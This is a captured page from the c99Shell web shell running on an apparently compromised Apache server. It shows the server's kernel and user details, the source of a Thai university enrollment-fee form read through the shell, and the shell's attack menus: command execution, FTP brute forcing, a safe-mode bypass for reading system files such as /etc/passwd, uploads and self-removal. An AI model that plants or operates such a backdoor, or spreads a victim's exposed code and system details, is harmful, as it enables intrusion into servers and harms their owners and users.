!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/   drwxrwxrwx
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     checkEnrollFee_bkp.php (4.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "admin_menu.php"
include_once 
"template.php";
include_once 
"/link/function.php";
include_once 
"./class/clsProgram.php";
include_once 
"./class/clsSysSemesterDes.php";        

openWindow();
checkFormat();

$conn = new Connection();
$oPg = new Program();
$oSse = new SysSemesterDes();    
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<table width="740" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="programs.php">หลักสูตรที่เปิดสอน</a> <img src="./picture/ico3.gif" align="absmiddle" border="0"> ตรวจสอบค่าลงทะเบียนเรียน</font></legend>
            <label><div align="center"><br><form name="pc" method="post" action="showEnrollFee.php"><table width="600" align="center" border="0" cellpadding="0" cellspacing="1">
                <tr>
                    <td align="center"><font size="3" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><b>ตรวจสอบค่าลงทะเบียนเรียน</b></font><br><br></td>
                </tr>
                <tr>
                    <td><table width="600" align="center" cellpadding="0" cellspacing="1">
                        <tr>
                            <td width="17%"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>ชื่อหลักสูตร</strong></font></td>
                            <td width="10"></td>
                            <td><input type="text" name="programName" size="70" class="input1" readonly>
                            <IMG src="../picture/search.gif" width="15" height="19" border="0" align="absmiddle" id=IMG3 style="CURSOR: hand" onclick='OpenWindow("pgAndAdYAndGSIsYTable.php",550,250)'>
                            <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">*</font>
                            <input type="hidden" name="programId"></td>
                        </tr>
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>ปีการศึกษาที่เข้า</strong></font></td>
                            <td></td>
                            <td><input type="text" name="admitAcadYear" size="4" maxlength="4" class="input2" readonly></td>
                        </tr>
                        <tr>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>ปีการศึกษา</strong></font></td>
                            <td></td>
                            <td><input type="text" name="acadYear" value="<?php echo $GLOBALS["ACADYEAR"];?>" size="4" maxlength="4" onKeyPress="if(event.keyCode < 48 || event.keyCode > 57) return false;">
                            <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">*</font></td>
                        </tr>
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>ภาคการศึกษา</strong></font></td>
                            <td></td>
                            <td><select name="semester">
<?php
                                $oSse
->SearchByKey($GLOBALS["SEMESTER"]);
                                
$oSse->GetRecord();
?>
                                <option value="<?php echo $oSse->semester;?>"><?php echo $oSse->semesterName;?></option>
<?php
                                $oSse
->RSSysSemesterDes();
                                while(
$oSse->GetRecord()) {
?>
                                <option value="<?php echo $oSse->semester;?>"><?php echo $oSse->semesterName;?></option>
<?php
                                
}
?>
                            </select></td>
                        </tr>
                        <tr>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>ชั้นปี</strong></font></td>
                            <td></td>
                            <td><input type="text" name="studentYear" size="1" maxlength="2" onKeyPress="if(event.keyCode < 48 || event.keyCode > 57) return false;">
                            <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">*</font></td>
                        </tr>
                        <tr>
                            <td colspan="3" align="center"><br><input type="submit" name="submit" value="ตกลง" onClick="return checkFormat()">
                            <input type="reset" name="cancel" value="ยกเลิก">
                            <input type="button" name="back" value="กลับเมนูหลัก" onClick="location.href = 'adminIndex.php?mm=1'"></td>
                        </tr>
                    </table></td>
                </tr>
            </table></form></div></label>
        </fieldset><br><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><b>หมายเหตุ : </b>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</font></td>
    </tr>
</table>
<?php
$oSse
->Destroy();
$oPg->Destroy();
$conn->Disconnect();

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0059 ]--